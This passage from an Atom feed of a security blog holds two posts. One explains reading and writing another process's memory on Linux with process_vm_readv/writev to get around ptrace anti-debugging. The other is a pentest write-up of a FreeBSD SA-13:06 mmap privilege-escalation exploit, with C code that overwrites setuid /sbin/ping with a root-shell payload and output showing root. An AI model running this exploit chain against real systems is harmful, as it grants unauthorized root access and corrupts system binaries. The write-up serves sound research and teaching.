&lt;p&gt;The full exploit is &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;88e7137466505e0402ca&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Using new syscalls for read&#x2F;write arbitrary memory on Linux.</title>
        <published>2013-12-23T00:00:00+00:00</published>
        <updated>2013-12-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2013-12-23-read-write-process-memory-on-linux/"/>
        <id>https://blahcat.github.io/2013-12-23-read-write-process-memory-on-linux/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2013-12-23-read-write-process-memory-on-linux/">&lt;p&gt;Even though well known methods exist to bypass ptrace deactivation on a process when spawning (fake &lt;code&gt;ptrace()&lt;&#x2F;code&gt; preloading, breakpoint on &lt;code&gt;ptrace()&lt;&#x2F;code&gt;, etc… ), it is trickier when process is already protected.&lt;&#x2F;p&gt;
&lt;p&gt;Thankfully Linux 3.2+ was generous enough to provide read&#x2F;write capabilities to another process with 2 new system calls: &lt;code&gt;sys_process_vm_readv&lt;&#x2F;code&gt; and &lt;code&gt;sys_process_vm_writev&lt;&#x2F;code&gt;. (see &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;torvalds&#x2F;linux&#x2F;blob&#x2F;975f3b6da18020f1c8a7667ccb08fa542928ec03&#x2F;arch&#x2F;x86&#x2F;entry&#x2F;syscalls&#x2F;syscall_64.tbl#L321&quot;&gt;the source code&lt;&#x2F;a&gt;). For our Windows friend, those new syscalls are similar to &lt;code&gt;ReadProcessMemory()&lt;&#x2F;code&gt; and &lt;code&gt;WriteProcessMemory()&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The manual says:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;These system calls transfer data between the address space of the calling process  (“the  local  process”) and the process identified by pid (“the remote process”).  The data moves directly  between  the address spaces of the two processes, without passing through kernel space.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;A running process can be &lt;code&gt;ptrace&lt;&#x2F;code&gt;d like this:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ptrace&lt;&#x2F;span&gt;&lt;span&gt;(PTRACE_TRACEME, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;) &amp;lt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;perror&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[-] is traced&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As such, it would acquire an exclusive lock, preventing any other ptrace instance (say a debugger) to manipulate its memory (that’s like ELF anti-debug 101). But it can hence still have its memory read:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;struct&lt;&#x2F;span&gt;&lt;span&gt; iovec local[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;], remote[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;];
&lt;&#x2F;span&gt;&lt;span&gt;local-&amp;gt;iov_base = mybuf;
&lt;&#x2F;span&gt;&lt;span&gt;local-&amp;gt;iov_len = size_to_read;
&lt;&#x2F;span&gt;&lt;span&gt;remote-&amp;gt;iov_base = (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span&gt;*) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;strtoll&lt;&#x2F;span&gt;&lt;span&gt;(argv[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;], &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;remote-&amp;gt;iov_len = to_read;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; nread = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;process_vm_readv&lt;&#x2F;span&gt;&lt;span&gt;(target_pid, local, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, remote, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Similar call to &lt;code&gt;process_vm_writev&lt;&#x2F;code&gt; will tamper remote process memory.&lt;&#x2F;p&gt;
&lt;p&gt;Even though it is not possible to read&#x2F;write in process memory that don’t have the same level of privilege (unless given &lt;code&gt;CAP_SYS_PTRACE&lt;&#x2F;code&gt; capability), it is a very reliable way to leak or inject data.&lt;&#x2F;p&gt;
&lt;p&gt;I’ve added the syscall filtering to my toy sandboxing tool, &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;bakassabl&quot;&gt;&lt;code&gt;bakassabl&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>I feel lucky - or why I wrote a FreeBSD 1-day in one day</title>
        <published>2013-06-20T00:00:00+00:00</published>
        <updated>2013-06-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2013-06-20-i-feel-lucky/"/>
        <id>https://blahcat.github.io/2013-06-20-i-feel-lucky/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2013-06-20-i-feel-lucky/">&lt;p&gt;Sometimes life gives you eggs for free, you just need to spend some time making an omelet. That’s exactly what happened to me on a recent engagement for a client: a typical PHP webapp full of holes left me with a nice stable shell access.&lt;&#x2F;p&gt;
&lt;p&gt;But at that point I was stuck: I had a limited account (&lt;code&gt;www&lt;&#x2F;code&gt;) on this FreeBSD 9.1 (almost) up-to-date box, and interestingly  the privilege separation was done correctly enough to prevent me from getting &lt;code&gt;root&lt;&#x2F;code&gt; access simply by abusing the usual suspects (weak FS permission, setuid bins, privileged scripts and the likes).&lt;&#x2F;p&gt;
&lt;p&gt;So it was with little hope I decided to take a look at the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.freebsd.org&#x2F;security&#x2F;advisories&#x2F;&quot;&gt;recent advisories for FreeBSD&lt;&#x2F;a&gt; which I really like because they are well maintained. One title struck my eye immediately: &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.freebsd.org&#x2F;security&#x2F;advisories&#x2F;FreeBSD-SA-13:06.mmap.asc&quot;&gt;SA-13:06.mmap - Privilege escalation via &lt;code&gt;mmap&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;, published the day right before!&lt;&#x2F;p&gt;
&lt;p&gt;I decided to look into it at first with not much hope, thinking the exploit would be crazy hard to trigger and heavily deep inside FreeBSD kernel. The description was actually (on purpose?) quite generic&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Due to insufficient permission checks in the virtual memory system, a tracing process (such as a debugger) may be able to modify portions of the traced process’s address space to which the traced process itself does not have write access.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;But the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;security.FreeBSD.org&#x2F;patches&#x2F;SA-13:06&#x2F;mmap.patch&quot;&gt;patch&lt;&#x2F;a&gt; gave me a better idea of the issue:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;patch&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-patch &quot;&gt;&lt;code class=&quot;language-patch&quot; data-lang=&quot;patch&quot;&gt;&lt;span&gt;Index: sys&#x2F;vm&#x2F;vm_map.c
&lt;&#x2F;span&gt;&lt;span style=&quot;background-color:#4f5b66;color:#c0c5ce;&quot;&gt;===================================================================
&lt;&#x2F;span&gt;&lt;span&gt;--- sys&#x2F;vm&#x2F;vm_map.c	(revision 251636)
&lt;&#x2F;span&gt;&lt;span&gt;+++ sys&#x2F;vm&#x2F;vm_map.c	(working copy)
&lt;&#x2F;span&gt;&lt;span&gt;@@ -3761,6 +3761,12 @@ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;RetryLookup:;
&lt;&#x2F;span&gt;&lt;span&gt;         vm_map_unlock_read(map);
&lt;&#x2F;span&gt;&lt;span&gt;         return (KERN_PROTECTION_FAILURE);
&lt;&#x2F;span&gt;&lt;span&gt;     }
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;+	if ((fault_typea &amp;amp; VM_PROT_COPY) != 0 &amp;amp;&amp;amp;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;+	    (entry-&amp;gt;max_protection &amp;amp; VM_PROT_WRITE) == 0 &amp;amp;&amp;amp;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;+	    (entry-&amp;gt;eflags &amp;amp; MAP_ENTRY_COW) == 0) {
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;+		vm_map_unlock_read(map);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;+		return (KERN_PROTECTION_FAILURE);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;+	}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;     &#x2F;*
&lt;&#x2F;span&gt;&lt;span&gt;      * If this page is not pageable, we have to get it for all possible
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It kindda gave a good pointer of where to start: the usual rule for setuid dictates that a write access should immediately imply losing the elevated privilege. But this is where the bug was: by &lt;code&gt;mmap&lt;&#x2F;code&gt; a setuid binary (which any user can do), I can then choose to &lt;code&gt;ptrace&lt;&#x2F;code&gt; the process, and use &lt;code&gt;PT_WRITE&lt;&#x2F;code&gt; command to overwrite the &lt;code&gt;mmap&lt;&#x2F;code&gt;-ed memory, effectively overwriting the setuid binary!&lt;&#x2F;p&gt;
&lt;div
    markdown=&quot;span&quot;
    class=&quot;
    
    alert-info
    
    &quot;
    &gt;&lt;b class=&quot;markdown-alert-title&quot;&gt;
    
        &lt;svg class=&quot;octicon octicon-info mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm8-6.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM6.5 7.75A.75.75 0 0 1 7.25 7h1a.75.75 0 0 1 .75.75v2.75h.25a.75.75 0 0 1 0 1.5h-2a.75.75 0 0 1 0-1.5h.25v-2h-.25a.75.75 0 0 1-.75-.75ZM8 6a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z&quot;&gt;&lt;&#x2F;path&gt;&lt;&#x2F;svg&gt;
        Note
    
        &lt;&#x2F;b&gt;
        &lt;p&gt;&lt;p&gt;I was in a rush, so my exploit is partially destructive as I overwrite directly the setuid binary. If you choose to use it, please make a copy to be able to restore it.&lt;&#x2F;p&gt;

        &lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;My exploit was in 4 parts:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;mmap&lt;&#x2F;code&gt; the target binary (here I chose &lt;code&gt;&#x2F;sbin&#x2F;ping&lt;&#x2F;code&gt;)&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt; :::c
&lt;&#x2F;span&gt;&lt;span&gt; int fd = open(&amp;quot;&#x2F;sbin&#x2F;ping&amp;quot;, O_RDONLY);
&lt;&#x2F;span&gt;&lt;span&gt; caddr_t addr = mmap(NULL, LEN, PROT_READ, MAP_SHARED, fd, 0);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;fork&lt;&#x2F;code&gt; to passe to be the &lt;code&gt;mmap&lt;&#x2F;code&gt;-ed address to a process I can attach to using &lt;code&gt;ptrace()&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;in the parent process, I attach to the child process and then prepare a basic payload to substitute the original code with&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt; :::c
&lt;&#x2F;span&gt;&lt;span&gt; if (ptrace(PT_ATTACH, pid, 0, 0) &amp;lt; 0)
&lt;&#x2F;span&gt;&lt;span&gt; {
&lt;&#x2F;span&gt;&lt;span&gt;     perror(&amp;quot;[-] ptrace(PT_ATTACH) failed&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;     return;
&lt;&#x2F;span&gt;&lt;span&gt; }
&lt;&#x2F;span&gt;&lt;span&gt; [...]
&lt;&#x2F;span&gt;&lt;span&gt; int fd = open(&amp;quot;.&#x2F;sc.c&amp;quot;, O_WRONLY|O_CREAT,  S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH);
&lt;&#x2F;span&gt;&lt;span&gt; write(fd,
&lt;&#x2F;span&gt;&lt;span&gt;     &amp;quot;#include &amp;lt;stdio.h&amp;gt;\n&amp;quot;\
&lt;&#x2F;span&gt;&lt;span&gt;     &amp;quot;main(){ &amp;quot;\
&lt;&#x2F;span&gt;&lt;span&gt;     &amp;quot;char* s[]={\&amp;quot;&#x2F;bin&#x2F;sh\&amp;quot;,NULL};&amp;quot;\
&lt;&#x2F;span&gt;&lt;span&gt;     &amp;quot;setuid(0);execve(s[0],s,0); }\n&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;     84);
&lt;&#x2F;span&gt;&lt;span&gt; close(fd);
&lt;&#x2F;span&gt;&lt;span&gt; system(&amp;quot;gcc -o .&#x2F;sc .&#x2F;sc.c&amp;quot;);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;all done, we could now copy our payload 1 DWORD at a time using &lt;code&gt;ptrace(PT_WRITE_D)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt; :::c
&lt;&#x2F;span&gt;&lt;span&gt; fd = open(&amp;quot;.&#x2F;sc&amp;quot;, O_RDONLY);
&lt;&#x2F;span&gt;&lt;span&gt; while (1) {
&lt;&#x2F;span&gt;&lt;span&gt;     int a;
&lt;&#x2F;span&gt;&lt;span&gt;     int n = read(fd, &amp;amp;a, sizeof(int));
&lt;&#x2F;span&gt;&lt;span&gt;     if (n &amp;lt;= 0) break;
&lt;&#x2F;span&gt;&lt;span&gt;     ptrace(PT_WRITE_D, pid, mmap_setuid_address+i, a);
&lt;&#x2F;span&gt;&lt;span&gt;     i+=n;
&lt;&#x2F;span&gt;&lt;span&gt; }
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Done! Simply execute the target binary to get a root shell.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; id
&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;uid&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1001&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;user&lt;&#x2F;span&gt;&lt;span&gt;) gid=1001(user) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;groups&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1001&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;user&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; gcc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -Wall&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;mmap.c &amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.&#x2F;a.out
&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Saved old &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;sbin&#x2F;ping&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Using mmap-ed area at 0x281a4000
&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Attached to 3404
&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Copied 4917 bytes of payload to &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;sbin&#x2F;ping&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Triggering payload
&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; id
&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;uid&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;root&lt;&#x2F;span&gt;&lt;span&gt;) gid=0(wheel) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;egid&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1001&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;user&lt;&#x2F;span&gt;&lt;span&gt;) groups=1001(user)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,0&lt;&#x2F;span&gt;&lt;span&gt;(wheel)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;By nature, this exploit is very stable and I was able to report that I had &lt;code&gt;root&lt;&#x2F;code&gt; access to my customer :)
I was undeniably lucky to find exactly the privilege escalation I need just exactly when I needed it (kudos to Konstantin Belousov &amp;amp; Alan Cox for the finding), but it also taught me that there can be a huge difference of postponing applying patches, even if for one day…&lt;&#x2F;p&gt;
&lt;p&gt;Cheers mates!&lt;&#x2F;p&gt;
&lt;p&gt;PS: for the full &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;5933831&quot;&gt;quick’n dirty exploit&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
</feed>
